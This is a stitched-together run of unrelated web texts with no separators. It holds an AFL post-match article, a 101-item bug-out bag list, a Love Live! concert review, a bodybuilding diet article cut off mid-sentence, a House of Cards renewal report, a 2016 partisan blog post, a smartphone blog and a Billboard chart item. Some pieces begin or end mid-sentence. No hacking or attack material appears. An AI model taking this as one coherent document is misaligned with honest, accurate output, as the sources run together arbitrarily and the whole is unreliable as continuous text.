Erakat responded, “It depends — first of all, on the number 500, I said 500 but I said at the same time I cannot confirm them because I didn’t have the chance to go and pull the rubble out and to clean the rubble out, and I don’t know exactly, and I said I cannot confirm it. But what defines a massacre? Israel called, when they had this bombing in the Netanya restaurant, 26 people, they called it a massacre. So what’s a massacre?”Joel Selwood demanded improvement from the Cats after their season ended on Friday night
A SHATTERED Joel Selwood had a stern message for his teammates after Geelong lost its semi-final to North Melbourne by six points on Friday night.
"We have a choice now, whether we be a club that just sits where we are or whether we improve from here," the Cats' captain said.
"We've got to improve. We don't want to be a side that finishes this early in the finals series."
Selwood's message was directed at the club's emerging talent as well as its experienced and decorated players.
"Andrew Mackie, Corey Enright, Steve Johnson, James Kelly need to make that decision (to improve their performances), too," he said.
"We need to push on and get better."
Although Johnson, whose form fluctuated a great deal throughout the season, missed Friday night's loss with a stress reaction in his foot, Mackie, Enright and Kelly all performed well below their best in a defeat that saw the Cats become the first top-four side since West Coast (2007) to bow out of the finals in straight sets.
The indifferent efforts of the veteran trio contributed to Geelong's slow start, which saw it concede seven of the first nine goals of the game.
"Not good enough," was Selwood's summation. "It's a final, and we let them kick 43 points in the first quarter."
Nevertheless, Selwood was proud of the way the Cats fought back and almost pinched a miraculous victory.
"One thing you can't write off is the Geelong spirit," he said.
"We showed that, we just showed it a little bit too late.
"We've got a lot of heart. We play 120 minutes.
"Really proud of the boys. We got ourselves in a position this year to get the double chance, and at the end of the day it's a missed opportunity.
"We’re just disappointed."
The skipper was particularly proud of key forward Tom Hawkins, who made up for his sub-par performance in the previous week's qualifying final against Hawthorn by taking 13 marks and kicking five goals.
Hawkins' haul included three goals in six minutes late in the last quarter, which dragged the Cats back into the contest that looked to be over.
"Awesome, wasn't he?" Selwood said. "He just never gave up. That's what we expect of our leaders.
"And you can give him a hard time all last week and he was always going to come out and do what he did.
"Outstanding person, and I can't speak highly enough of him."
Selwood also praised the work of Josh Caddy (26 disposals and a goal) and Josh Walker (three goals), who were the best of the club's younger brigade.
"We had 10 guys that were 23 or under tonight," he said.
"We could've easily rolled over in that last quarter, but they just fought, they dug in, and I'm really proud of them.
"Disappointing result on the night, disappointing finals series, but they just played it out and played their hearts out.
"We've got the choice now whether we go forward and really develop those guys."101 Household Items For Your Bug Out Bag
Below is a list of household items you could potentially use for your bug out bag, most of which you probably already have. Obviously not all of this will fit, and there are better items specially made for bugging out. This is just a list to help you brainstorm and fill in the gaps.
In the order in which I found them around the house…or thought them up…(does it really matter?)
1) Ziplock bags – Ziplock bags are incredibly useful. They are extremely versatile and do things that few things in nature can.
2) Black garbage bags with stings – Another very useful container. Specifically, I prefer the black ones because black will absorb the heat of the sun, which can be used to warm water if you want a warm shower. Also, the bags that are “wrinkled” tend to be very forgiving and more durable in the long run.
3) Glass Snapware – These are fantastic. Extremely durable. Air tight and in a bind, they could even be used as a cooking surface or to boil water. My wife and I have used these for years and LOVE them.
4) Plastic snapware – While I Would still prefer the glass snapware to the plastic, the plastic is lighter and will still keep your items organized and separated. Just don’t try to cook on them. Your food might taste funny…
5) Vacuum bottle – These are not ideal for cooking items in, but once you have cooked your “fish-eyeball soup” or whatever it ends up being, these bottles are great for keeping watery and mushy foods warm. Which means you get another warm meal without having to use up fuel.
6) Condoms – I have your attention now, don’t I? Condoms, because they’re designed to be highly flexible, but not allow fluid through them make outstanding temporary fluid storage. They also take up almost zero space until you are ready to use them. You can store other items in them to, but I do not recommend putting anything in them with jagged edges. Just make sure you are using condoms that do not have any added fluids/lubricants to them because they could contaminate whatever you end up putting in them. An outstanding household item for your bug out bag.
7) Pill bottles – Another great storage item. Some of these are also water tight which could come in handy.
8) Balloons – Again, much like condoms above, but the condoms are preferable due to their construction.
9) Pencil pouch – A pencil pouch has a zipper and multiple grommet holes. This makes it a natural container to hook on the outside of a backpack. It’s like a poor man’s molle system.
10) Grocery bags – My wife and I have saved these for years and still use them all the time. They cost nothing, and are great for single or limited use.
11) Hydration bladder – If you’re an outdoors enthusiast, there is a good chance you have a hydration bladder already. I am a HUGE fan of these. It makes carrying an accessing large quantities of water extremely easy. In a survival situation, they are immensely useful.
12) Matches – If you have waterproof matches, those are best, but plain old strike anywhere matches in a waterproof container like a ziplock is good too.
13) Candles – a great source of light, and a key ingredient in bunson-burners, candles are a valuable source of light and heat. there’s a reason they have been used for thousands of years.
14) BBQ lighter – You know that big, long lighter you have out by your barbeque? It is ideal for lighting fires as you can easily get the flame into the middle of your tinder bundle.
15) Cigarette lighter – A fantastic, reliable cheap source of ignition. Every bug out bag should have at least two in it.
16) Nail Polish remover – This can act both as an accelerant (helps build a fire) and a solvent to help remove sticky “gunk” from your gear.
17) Alcohol with a high concentration – Vodka and other high proof alcohols can be used to help make your tinder more flammable, it can also be use to kill bacteria and (with proper usage and supervision) can be used to numb pain. Believe it or not, alcohol has tremendous versatility in emergencies…just don’t get hooked on the sauce.
18) WD-40 – What boy didn’t grab a lighter and some WD-40 when he was a kid and try this? But, if you are in a bind for something to help start a fire, some good ol’ WD-40 would do the trick. Just be VERY CAREFUL!
19) Hairspray – Also another aerosol that can very briefly act as accelerant
20) Cologne – Again, an accelerant. Use lots and lots to come off as extremely desperate around the ladies.
21) Toilet Paper – Normal usage. It can act as tinder. When braided it can make long (though very weak) cordage.
22) Cotton balls – Cotton balls are an ideal way to start a fire: light enough to easily catch an ember, but dense enough to burn for 15 seconds or so. Add some Vaseline, and you have a long lasting ember catcher.
23) Travel Kleenex – Another good source of tinder, particularly the travel packs, as they are very compact and resealable.
24) 9v Battery – 9V batteries are really handy if you have any basic electrical knowledge. Its extremely easy to connect wires to the positive and negative terminals and get a good jolt of energy.
25) Steel wool – excellent for scrubbing, and when combined with a 9v batter, you can start a fire very quickly.
26) Bleach WARNING! This should be one of the LAST routes you take to purify your water because if you use to much, it can make you very sick or kill you.
27) Small metal pot – Boiling water for 10 minutes is still one of the best ways to make water safe to drink. To save space in your bad, think about putting a carabiner through the end and letting the pot dangle off of your bag.
28) Coffee Filter – This will NOT make your water completely purified, but it will get the larger items out of the liquid. After you do this, make sure to boil the water
29) A sock – Aint that appetizing? Much like the coffee filter, a sock (or most other garments) will do a decent job of removing large to medium sized sediment from water. Again, just make sure you boil it afterwards.
30) Peanut Butter – A jar of peanut butter is a great food item. It is loaded with protein, sugar and minerals, all of which you needs lots of in a survival situation.
31) Trail Mix – A tasty and nutrient dense mixture of Nuts, raisins and candies to help provide you with protien and easy to access sugars to help keep your energy up when on the go.
32) Canned tuna (In oil) – Canned tuna is another excellent source of protien and, if packaged in oil, can also have the added benifit of being an accelerant.
33) Canned beans – Another great source of protein.
34) Canned soups/chili – Another great source of protien…and potential warmth in a sleeping bag hours later
35) Lembas bread (Kidding! Sorry. Couldn’t resist.)
36) Salt – Salt has a lot of uses. It can preserve meat, add flavor, and depending on how concentrated the salt water solution is can be used to help clean wounds.
37) Cooking oil – Another accelerant, but it can also help you keep your skin more moist in a dry area or
38) Hot sauce – Hot sauce (and for me, it’s Tapatio, or nothing), believe it or not is a good source of vitamin c, it can help you choke down food that might be otherwise hard to swallow, and if you are fortunate enough to have the other supplies with you, can also be used as a deterrent in improvised pepper spray.
39) Tarp – It’s a trap! I mean a tarp! A tarp (especially a large one) might be one of the most important pieces of gear you can put in a bug out bag. It is extremely difficult to make a water-proof shelter, and a tarp can make shelter building a breeze. I can’t stress enough how important these are.
40) Bungie Cords – another great source of cordage; durable, flexible and can be easily attached to almost anything.
41) Cargo net – If you happen to have a large cargo net for the bed of your truck, you can turn it in to an improvised hammock.
42) Tent – Hey! There’s a novel idea!
43) Vegetable peeler – Believe it or not, a sharp, durable, vegetable peeler can scrape thin layers of wood off of branches to help make a tinder bundle. unorthodox? Yes. But it can work.
44) Garden trowel – These are great little shovels when you need them. As a bonus, you can sharpen the edges for more efficient ground breaking
45) Hatchet – An excellent little axe.
46) Long handled cultivator – So, this is going to be too big for your bag, but you might want to keep one near it. IF you can find one that is about 6′, you have yourself a sturdy walking stick, and something that can help you reach far away objects.
47) Sleeping bag – I have to explain this one?
48) Extra shoe laces – Shoe laces are pretty durable as far as cordage goes, and while they aren’t long, they are great for keeping a bundle of wood together.
49) Padlock or Combination lock – If you are bugging out for an extended period, and have to travel through a rough area, it might be useful to padlock some of your zippers on your bag together as a hurdle to theifs.
50) Batteries – if you are bringing electronics with you, don’t forget extra batteries. Depending on electronics though in the long run can be a gamble.
51) Flashlight – almost all of us have a flashlight at home somewhere and there are a ton of great options out there if you are looking to upgrade.
52) Band-aids -excellent for wounds and can double as a temporary patch on small equipment.
53) Gauze – Essential to cover up serious wounds. Can also be used as tinder.
54) Rubbing alcohol – Cleaning fluid and accelerant.
55) Hydrogen peroxide – The classic bacterial killer.
56) Aspirin – Pain reliever.
57) Super glue – While super glue has its traditional uses, more recently doctors have been using substances like it to bind wounds. Nothing saying you couldn’t use super glue as a poor man’s alternative.
58) Pringles – Pringles aren’t the most nutritious food (but they are tasty, which can be an emotional pick me up) but they make a great candle as they take a flame and stay lit for a decent amount of time. As a bonus, they come in a container that could come in handy later on.
59) Swiss Army Knife – Tons of uses. There is a reason these have been carried daily by millions all over the world…include a certain secret agent Angus…
60) Duct tape – Completing out tour of the MacGyver portion of our list, what bug out bag would be complete without duct tape. What can you use duct tape for? Perhaps asking what CAN’T you do with it would be easier to answer. Simply put, one of the most versatile and useful items on earth.
61) Multi-tool – Another versatile tool to have in your bug out bag.
62) Multi-bit screwdriver -unless your bugging out and there is zero civilization between you and your destination, you’re likely to encounter lots of different man made objects. A multi-bit screwdriver could give you potential access to some helpful items.
63) Pliers – These can be very helpful in a… Pinch…
64) Large kitchen knife – A good thick kitchen knife can still be very useful in the outdoors. Just try to get a full tang and a thick blade.
65) Small kitchen knife – For more detail oreinted work around the campfire.
66) Pencil – It can be helpful to take notes of things you learn or need to remember.
67) Note pad – Paper for notes and tinder.
68) Small pencil sharpener – I saw someone online recently using this to make spikes out of small branches and it worked really well.
69) Fishing line – For fishing obviously but also can be handy cordage on smaller items.
70) Fishing hooks – Good for fishing, but can also be heated and warped into various shapes for other tools
71) Needles – Can be useful in removing small foreign object in the body and goof dor sewing wounds and garments.
72) Thread – for sewing and binding wounds
73) Spoon – Hey, sometimes need need to scoop out your food.
74) Gun (Though I recommend you keep it locked up and easy to access as you are on your way out the door with your bug out bag) – Sometimes deadly use of force is necessary. I hope you never have to use it, but its good to be able to use it should circumstances call for it.
75) Boots – Durable footwear is absolutely critical. If you are uncertain just how long you will be buggin gout for, you want boots that will last a good long time.
76) Poncho – A good poncho could save your life in wet conditions. When we are wet, our body temperature drops MUCH faster. Keeping moisture off you in cold conditions is a must, and a good poncho will do the trick.
77) Tweezers – A sliver, tick or other nasty item stuck in our skin can be a huge drain on our time and frame of mind. They can come in quite handy to help with those.
78) Magnifying glass – A great fire starting tool in the right conditions.
79) Small towel – Can help in making a splint, drying off wet equipment, and also a head covering on hot days. Very versatile.
80) Liquid soap – Great for cleaning cooking items and yourself. Bonus: if you get bored you can blow bubbles! Epic!
81) Neosporin – Use as directed: on cuts and abrasions.
82) Foot powder – If your feet become a problem, you have BIG problems. Keeping your feet dry and operational has to be a top priority
83) Long legged stocking – storage and improvised weapon
84) Baseball bat – A baseball bat makes a great persuader. It isn’t the best weapon, but it will make an attacker think twice.
85) Visor/Baseball hat – Helps cover your noggin and keeps the sun out of your eyes (Just make sure you pick the right team)
86) Hard candy – Since hard candy lasts a long time and wont melt in hot conditions, having a sweet treat can be a nice pick me up if you are bugging out.
87) Gloves – We co almost everything with out hands. Protect them. Keep them warm.
88) Stocking cap/Beanie – Keep your head warm. A lot of our body heat is lost in our head.
89) Prescription medication – Having a supply of prescription medication could be the difference between life and death. For some folks, this will be the most important thing they put in their bug out bags.
90) Copies of your Identification – If you happen to be in a situation in which the government or authorities have a large presense, having a back up copy of important documents could also be really handy.
91) Backup phone charger – Having an extra phone charger again is handy since there is so much we can do with out phones.
92) Tampons – Useful for tinder and if you are a lady, hey, need I say more? Also, if you have a bad nose bleed it can take care of that too.
93) Electrical wiring – If you are bugging out in an urban area and have some electrical knowledge, this could come in handy. Attach it to a 9v, and you got a great way to start a fire. Or, you can use it to snare game as well. Chances are you have some connected to your old stereo down in the basement.
94) Can opener – Since canned food id likely going to be a staple for you, a good can opener is a great thing to have on hand.
95) Phone “Power banks” – An extra source of juice for your phone.
96) Valuable, but unused, jewelry – If you get in a bind and need lots of cash fast, think about dumping grandma’s ring at a pawn shop. Trust me, granny would much rather you sell that thing off and have a better chance at making it through the disaster.
97) Whistle – Not just for letting ladies know that you find them attractive anymore. Now you can use these to communicate with people nearby or signal for help. Also, if you are walking through and area with predators, it can be a helpful tool to make sure you do not surprise them.
98) Motor oil – So one time in college, we thought it would be fun to put a plastic bottle of motor oil on a fire. Um…yeah…it got a big. If for some reason you don’t have one of the other accelerants on the list, motor oil will take a spark. Just don’t use too much…
99) Weed Eater cord – Not great for smaller tighter knots, but if you are putting up a larger shelter or connecting branches, this stuff is very long and very durable.
100) Metal clothes hanger – a thin piece of metal that can be molded into all sorts of shapes. And if you happen upon a marshmallow factory…well….
101) Portable radio – Keep up to date on what is happening in the “civilized” world
I’m sure I missed a lot. What would you want to add to this list?
Like this: Like Loading...U's First School Idol Group
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Concerts can come in all shapes and sizes, just like any other form of medium, ranging from appeal to multimedia, ranging from music, movies, TV, and even books, including comics and manga. But recalling music and it's concert format, well those can vary depending on the performer in question. For this case, we got a pop idol group, which are fictional in story form but in reality are real live human girls. In short, Love Live! School Idol Project is a Japanese multimedia project co-developed by ASCII Media Works' Deneki G's Magazine, music label Lantis, and animation studio called Sunrise. The project revolves around a group of fictional schoolgirls who become idols in order to save their school from shutting down. But they don't save their school from shutting down by raising money, but by trying to increase their school's attendance, more that enroll in their said school, won't cause the school from closing its doors. So it is a typical trying to save our school formula, but with an all new formula to it, if you can see it that way, that is, if you do then great, if not, well it isn't that hard to follow.In any case, this launched back in August of 2010, in an issue of Dengeki G's Magazine, which went on to produce music CDs, music videos, manga adaptations, and video games. But remember this was all centered around a group of fictional schoolgirls who become idols, so where do these idols come from actually. Well a 13-epsisode anime television series was produced by the animation studio Sunrise, it aired in Japan between January and March of 2013. So sometime after its launch, after which its first series was a success with its first idol group called U's. The second series which ran between April and June of 2014 in Japan, continued the story of U's that then lead to a film, Love Live! The School Idol Movie. Such a success came from the idol group U's that a whole another project, separated from U's works, was formed which would be titled Love Live! Sunshine!! focusing on an all new group of school idols, this group called Aqours!Just like U's series, Aqours, had its own 13-episode series, as well as CDs, music videos, manga, and would continue on to create music and would then get a second series in its own television series. But that's not where Aqours story ends up. While the group has done "special" concert events here and there, the group has never had their official first live concert just yet. Not until now..... Love Live! Sunshine!! Aqours First LoveLive! ~Step Zero to One! was held at the Yokohama Arena in Japan this past February 25, 2017. The concert itself was filmed in high definition and was broadcasted live via satellite to cinamas across numerous countries, including Australia, Taiwan, Hong Kong, Korea, Singapore, Thailand, Malaysia and the Philippines.The U.S. would be included but have a delayed broadcast a week later. Thus we are here on the weekend of March 4th and 5th of 2017, where a limited run of theaters, would showcase the concert, and I was in attendance. Buying my tickets straight away, after going on sale, for Sunday's night's showing at 7:30PM, this showing did not sell out, so only a handful of people showed up, probably about 20-30 people at the maximum. While the day and night before, had the shows sell out in variation, sort of, Saturday's afternoon showing at 1:30PM was a sold out event, whereas the other showing's sold, but did not sell out as the first showcase had done.As such, Sunday's festivities went off without any issues, as people gathered out front about 5-6PM, waiting in line, right outside the venue, in Downtown Los Angeles, called the Downtown Independent. A historic theater, that would show limited releases over the years. As fans waited out front, the window was of a clear viewing, as the merchants set-up, hanging up posters, stand's with t-shirts, towels, and albums of both U's and Aqours, ranging in the pricey area of $10 to $200 depending on whichever item was to your choosing. After doors opened around 7PM and fans filed in, lining up to grab their merchandise, if not food from the snack bar, serving the numerous popcorn, soda, and candied treats, fans entered the small theater, taking a seat, as a majority of them, bought or brought their own, glow sticks, as these light up sticks, are a big successor for concerts held in Japan.Around 7:20PM 10 minutes until it's 7:30PM showing, the movie's screen showcased the concert, as the fans in large arena, waved their own glow sticks, waiting for the group to perform. While waiting, the announcers walked up, giving a brief notice of their raffle giveaway, and some ground rules of what not to do during the show, as in no recording or picture taking of any kind was not allowed. After this was said and done though, the lights dimmed in the theater and on the screen, as the concert was beginning!So for the next 215 minutes in other words 3 hours and 35 minutes, the theater of on lookers, waved their hands high in the air, with their multicolored glow sticks and wands, to the beats of the music and animation shown on the screen. When the show started, the idol group Aqours opened the show with the opening number from their anime series, Love Live! Sunshine!! called "Aozora Jumping Heart" really getting the crowd pumped for the rest of that night. Their entire setlist consisted of songs that were performed throughout the first season of the Love Live! Sunshine!! anime series, including such songs as "Mirai Ticket", "Omoi yo hitotsu ni nare", and "Yume Kataru yori Yume Utaou" ending the show sort of. Their encore was quite something else, having the group sing a song called "Pops heart de Odorun damon!", and one called "Step! ZERO to One". Hence the title of the show itself, there's the reasoning as to why.Throughout the show though, there were clips from the anime, during the group's performances, as well as in summaries, of the 13-episodes, and note, the entire broadcast was in Japanese, so NO English subtitles was present. So for the on lookers who did not understand or know of the Japanese language, you were out of luck, understanding any of what was being said on that screen. Which probably disappointed some watching at times. Otherwise, the idol group did take time throughout the performance to interact with the audience and even live stream audience as well. As the crowd interacted back, waving their glow sticks, and shouting with approval.As said though, the idol group did interact by saying "hello" as well as "goodbye" when those times came, but also entertained the crowd, as during segments of their set-up, they got onto these moving carts that were pushed around the arena, as they sang their songs, waving and greeting the fans. But that was not all, during their performance, the group made up of 9 members, did showcase their other projects, having the various members, each made of 3, have their own solo projects, that performed an array of songs from said project, that really kept everyone on their feet, and highly energetic at that. Plus just as in the anime series itself, the idol group kept to the same attire that the fictional school girl group wore, from the typical school uniform, to the colorful dresses worn during their performance segments in the actual anime series, to various music videos! They even included doing the numerous gestures, that the anime had done, which really kept the crowd smiling from ear to ear.When it come down to it, it was a highly entertaining concert and performance overall. While the 3 hour mark did drain on quite a bit, the songs and group idol's performance was very upbeat, and kept me entertained, from start to finish. Their setlist was catchy and kept to the anime series very well, adding in other songs that fit the mold of the whole show, rather well. It would definitely make for a onetime thing for some, while for other's including myself, it would make a great second coming addition.In short, it was Aqours first ever official live concert, and while this was just one thing they have got off their chests, there is so much more to their story, that will only be untold, as the time progresses itself, ever so further, into their musical careers. This is step from ZERO to ONE! This is Aqours, let is shine bright, let us sunshine!!SETLIST:1. Aozora Jumping Heart2. Koi ni Naritai AQUARIUM3. Aqours Heroes4. Kimeta yo Hand in Hand5. Daisuki dattara Daijoubu!6. Yume de Yozora o Terashitai7. Genki Zenkai DAY! DAY! DAY!8. Yozora wa Nandemo Shitteru no?9. Torikoriko PLEASE!!10. Tokimeki Bunruigaku11. Strawberry Trapper12. Guilty Night, Guilty Kiss!13. Mijuku DREAMER14. Omoi yo Hitotshu ni Nare15. Todokanai Hoshi da to Shitemo16. MIRAI TICKET17. Kimi no Kokoro wa Kagayaiteru kai?ENCORE:18. Pops heart de Odorun damon!19. Yume Kataru yori Tume Utaou20. Step! ZERO to ONEShare Tweet Google Plus reddit Messenger Share Email Print
I received a question in my mailbox having to do with manipulating calories and macronutrients for optimal transitioning from gaining to dieting phases and vice versa and this seemed like an excellent impetus to write about this topic in some detail. Because while a lot of people tend to jump back and forth from one to the other (often, I think, spinning their wheels a bit), taking a more long-term approach, a nutritional periodization of sorts, can be beneficial in terms of working with rather than against the body’s inherent physiology.
Bulking to Dieting Transition Phase: The Pre-Diet Phase
Way back in the early days of bodybuilding you would hear physique athletes talk about a “hardening phase” which was meant as a transition from their off-season bulking to their contest diet. Now, in hindsight, it probably had as much to do with switching out their drugs from heavy androgens to more anabolic compounds to reduce water retention but it basically entailed “cleaning up the diet” to prepare for the actual contest prep. This was always kind of ill defined but probably had to do with food choices, taking out most of the junk and eating “cleaner” whatever that actually means. Guys would report losing a bit of fat while still gaining a bit of muscle (perhaps the LTDGE which I really need to write about sometime although the switch in drugs was probably part of it too) and, well, hardening up.
And while this idea has sort of fallen out of favor, I think it has a lot of merit and bears revisiting. I even wrote about it fairly extensively in the forthcoming, I swear it will be done this year, women’s book, although I called it the Pre-Diet Phase there. This was meant to entail a 2-4 week span where calories were brought to estimated maintenance and training was adjusted to prepare for a formal dieting phase.
At least within the context of women’s dieting, this is primarily to keep women from doing what they too commonly do: cut calories way too hard and add too much cardio all at once which causes all kinds of problems. Women can actually cause problems with menstrual cycle and thyroid function with as little as 5-7 days of excessive cardio and calorie restriction and the Pre-Diet Phase is structured to help avoid that by only allowing one or the other to change at once.
But the same concept still holds for men in my opinion even if the hormonal effects aren’t quite as significant (i.e. men don’t have a menstrual cycle, although some of them sure act like it). People often forget that growth and recovery is an on-going process and jumping straight into dieting out of a gaining phase often prevents maximal growth from occurring during that phase. A two week transition phase just makes sense.
Dietary Changes in the Transition Phase
So far as diet, the changes that occur kind of depend on what the previous diet looked like. Obviously calories should be brought to maintenance. A good rough estimate is 14-16 cal/lb current bodyweight but this can vary depending on activity. Women will generally use the lower values and men the higher. Protein should either stay the same or go up slightly since protein requirements are increased while dieting. How much protein depends on the person’s body fat percentage but for a male lower than 15% body fat, I’d recommend perhaps 1.2 g protein per pound of lean body mass (NOT total weight). Women or men with a different body fat percentage would use slightly different values.
That leaves manipulations in carbohydrate and fat and how much each would be reduced depends on the previous diet. Someone on a high-carb/low-fat diet will be reducing carbs. Someone eating a ton of dietary fat will be reducing fat. Many will be doing about half and half. Bodybuilders have long used a carbohydrate intake of ~1-1.5 g/lb for dieting purposes and this is a good starting point. Fat makes up whatever is left after calories, protein and carbs are set and this will likely end up being about 25-35% of the total calories or roughly 0.41-0.6 g/lb.
Training Changes During the Transition Phase
As well, if training for the diet is going to be adjusted, for example adding metabolic work or reducing the volume of heavy work, this is the time to do it. Jumping straight into high-rep training when you haven’t been doing it is murderous and you can use the transition phase to gradually bring in depletion work. Reducing heavy volume gives the body a |
think I have words to accurately describe how I feel about them,” she said about the protesters. She added that she felt “solidarity” but also was “absolutely” concerned about the image of violent protests.
But over all the scene of thousands of protesters gave her hope.
“I feel pretty proud of the number who showed up today,” she said. “Looking strangers in the eye and knowing that we’re together and talking with people from all over the country who have come here to express their concerns about what is going to happen in the next four years and what is already happening in our country. I feel really good about that.”Netflix is sticking with House of Cards. A few weeks ahead of the Emmy-winning drama's sophomore debut on the streaming service, it has been given the official green light for a third season.
A Netflix rep confirms to The Hollywood Reporter that House of Cards has received an early renewal, and production is set to begin soon. House of Cards was originally packaged as a two-season pickup, though all parties have spoken optimistically about the show running longer.
TV REVIEW: House of Cards Season 2
House of Cards marked Netlfix's entry into original series just one year ago. Critically acclaimed, it was followed by Hemlock Grove, Orange Is the New Black and the revival of Arrested Development.
Netflix chief content officer Ted Sarandos has said that he wanted more from the show. "I think if you look at the original House of Cards, there was a natural third season, and we could go well beyond that," he said at a November panel.
Adapted for the U.S. by Beau Willimon, who serves as showrunner, and executive produced by David Fincher and Kevin Spacey, House of Cards' first season scored nine Emmy nominations and four Golden Globe nominations -- including a win for actress Robin Wright.
One measure of House of Cards' success that has not been publicized is how many people have watched it. Netflix keeps its streaming stats secret -- though after an initial window of exclusivity on the streamer, the first season of the Media Rights Capital production is now available on DVD and multiple on-demand platforms.
The story of House Majority Whip Francis Underwood's (Spacey) unscrupulous rise to power, the second season finds the protagonist and his wife, Claire (Wright), continuing their Beltway ascent. It bows on Netflix on Feb. 14.
Kate Mara, Michael Kelly, Sakina Jaffrey and Constance Zimmer also star.July 13, 2016
How U.S. And UK "Liberals" Disfranchise Their Party Members
The "liberal" party establishments in the U.S. and UK, within the Democrats and Labour, are united in their distaste for party member opinions. They alone want to decide which positions the party has to take. They want to make sure that there is no alternative to their rule. It is elitism at its worst which no longer bothers with the pretense of democracy. Does it count as "shared values"?
Bernie Sanders folded. This without gaining any significant concession from Hillary Clinton on programmatic or personal grounds. (At least as far as we know.) He endorsed Clinton as presidential candidate even as she gave no ground for his voters' opinions. This disenfranchises the people who supported him.
Trump's attack lines on this are spot on:
Donald J. Trump @realDonaldTrump - 7:01pm · 12 Jul 2016 Bernie Sanders endorsing Crooked Hillary Clinton is like Occupy Wall Street endorsing Goldman Sachs.
and
Donald J. Trump @realDonaldTrump - 7:03pm · 12 Jul 2016 Bernie sanders has abandoned his supporters by endorsing pro-war pro-TPP pro-Wall Street Crooked Hillary Clinton.
Those are valid statements. I find it hard to to argue with these.
Abstaining from any endorsement or running as independent or Green party candidate would have been more honorable ways for Sanders to admit defeat. It would have pressed the Democratic party to stop its movement to the right of the Republican party.
I expect the "Not Hillary" protest vote to be very strong in the November election. There is still more significant dirt to be dug up about her and her family foundation. Trumps current lows in the polls will recover when the media return to the "close race" mantra that makes them money. He still has a decent chance to win.
Then again - its the first time now that I have to concede that Clinton may well win. But that would be with a record low turnout, and record low legitimacy. There would be no wins for the Democrats in the Senate and House. She would be another Republican President who would represent only a record small slice of the electorate.
The election shambles on the other side of the Atlantic are no less depressing. "Corbyn can not win votes," is the claim of the anti-Corbyn Blairites. That is why they have to resort to dirty tricks to disenfranchise Corbyn voters. His supporters are not allowed to count in a Labour leadership election because they support him. How can such "logic" and this step be legal?
Jeremy Corbyn was jubilant after the party’s ruling national executive committee (NEC) decided his name should automatically appear on the ballot paper in the leadership contest triggered by Angela Eagle.
...
However, in a separate decision taken after Corbyn had left the room, the NEC ruled that only those who have been members for more than six months will be allowed to vote – while new supporters will be given two days to sign up as registered supporters to vote in the race, but only if they are willing to pay £25 – far higher than the £3 fee many Corbyn backers paid in the contest last year.
If that ruling stands nearly 100,000 new party members who have joined in support of Corbyn will either have to immediately pay a poll-tax of £25, or will not be allowed to vote. Here is what the Labour website promised them when they joined:
Corbyn may need some lawyers to set the NEC straight.
One can only hope that he wins the new Labour leadership election. The Labour establishment stinks like an Augias stable and the party needs a thorough house cleaning.
Posted by b on July 13, 2016 at 12:18 AM | Permalink
Comments
next page »Ever since I started working on changing my habits from bad to good I have been doing a bit of thinking and writing too. That's because my day now seems to be a little longer than 24 hours. No more time wasting watching TV or going on unnecessary learning escapades on the Internet. Now I get things done.
Anyway, as I was saying I started thinking about how special my phone has become to me over the past few years. It suddenly occurred to me that it's no longer the dog that is Man's best friend. It's the smartphone!
I don't know about you, but to me my smartphone phone is one of the most important devices that I have ever owned. To a certain extend, I think I could go as far as saying that it is like a part of my brain that I keep in my pocket. I use my mobile phone for almost everything.
To me a phone is no longer simply a phone. It's a device that can be used for endless purposes. You can use your phone for taking pictures, recording your baby doing funny stuff, to send to grandma, using both audio and video, making a shopping list, purchasing goods online, editing documents, as a watch (remember those things called watches?), for sending text messages, etc. You can even use a phone as a means of tracking your child's (or wife's) movements without even leaving your house. The possibilities are endless. Hell, you can even make your phone bark if you want to.
Remember the days when we all used to look at network coverage when deciding which network to buy our phones from? Those days even the weight of the phone being offered was a big i ssue. People would pick up the cellphone and bounce it up once or twice and try to check whether the weight was alright. Those where the days when owning a cellphone was a symbol of success.
Those days are gone. We are living in a time where each and everyone can have a mobile phone. Even preschool children have phones these day. Believe me. I am a teacher and I am talking from experience here. These days there are so many different types of phones to choose from. And then there are applications to worry about. Since the smartphone is now Man's best friend, we need to take good care of it by installing the best possible software. With the right set of applications installed, your phone can help you improve productivity. Now the question is what should we take into consideration when purchasing a mobile phone since weight is no longer an issue. Neither is network coverage. I believe choosing a phone is just as important as choosing a dog that you are going let your kids play with and be sure they will be safe. May be I exaggerated a little bit. But the point I am trying to make here is that selecting a smartphone and the combination of applications that you choose to install can make a big difference to your productivity.
I am quite happy with my current phone, a Sony Ericsson WT19i, but there have been quite a few cases where I was not satisfied with phones that i purchased. So I have decided to put down a list of things to take into consideration next time I decide to purchase my next best friend. With your help I am sure I won't go wrong. Please add your ideas and what you think is important to remember when buying a good phone.
I believe that Man's best friend should include the following:
A good Internet package - if you want to use your phone as a true mobile device I guess the most important thing is to get a good deal for the Internet access from your service provider. Operating system - there are quite a few to choose, i.e. android, iOS, windows phone, etc. I probably will go with an Android since Linux is my daily bread. The number of available applications has a huge influence on my choice for the operating system. Even though a lot of applications work across all platforms, there are still situations where my choice of smartphone will depend on the applications I intend to use. This means I should plan ahead. There is need to research applications before buying a phone. RAM and CPU - I am a fan of productivity enhancing applications and I have a lot of them running at any given time. That means the maximum possible RAM and a fast CPU. Installing a lot of applications means on-phone storage will be very important. This is especially true if the applications I will be installing will not have the option to install them on the SD card. They say size does not matter. In the case of SD cards that is a lie. Most applications will be installed on this card. This is the same place where my documents, photos, videos, music and other things will be stored. So the bigger the better. Screen size is also very important, but not as important as the quality of the graphics card. I am not really a fan of taking photos but a good quality camera comes in handy when showing grandma photos of her grandchildren since she lives thousands of miles away Audio quality will be important when listening to those productivity podcasts The last point is to go online and read reviews and opinions written by people who have already purchased a similar phone. They usually have a lot of good information about the kind of problems to expect if you buy one. I would trust other users' judgement more than the information on the manufacturer's website.
That's all from me. Now it's your turn to add what you consider to be important when buying a phone. I hope this list will help each and everyone of us to purchase our next best friend armed with the all the necessary requirements.Eminem performs onstage at the 2014 MTV Movie Awards at Nokia Theatre L.A. Live on April 13, 2014 in Los Angeles.
Plus, G-Eazy hits a new peak at No. 6.
Eminem leaps from No. 37 to No. 1 on the Billboard Artist 100 chart (dated Jan. 3) to become the top musical act in the U.S. for the first time.
The Artist 100, which launched in July 2014, measures artist activity across key metrics of music consumption, blending album and track sales, radio airplay, streaming and social media fan interaction to provide a weekly multi-dimensional ranking of artist popularity.
Eminem's reign is powered by his ninth studio album, Revival, which debuts at No. 1 on the Billboard 200 with 267,000 equivalent album units, according to Nielsen Music. The entrance makes Eminem the first artist to debut eight consecutive titles at No. 1 in the all-genre album chart's history.
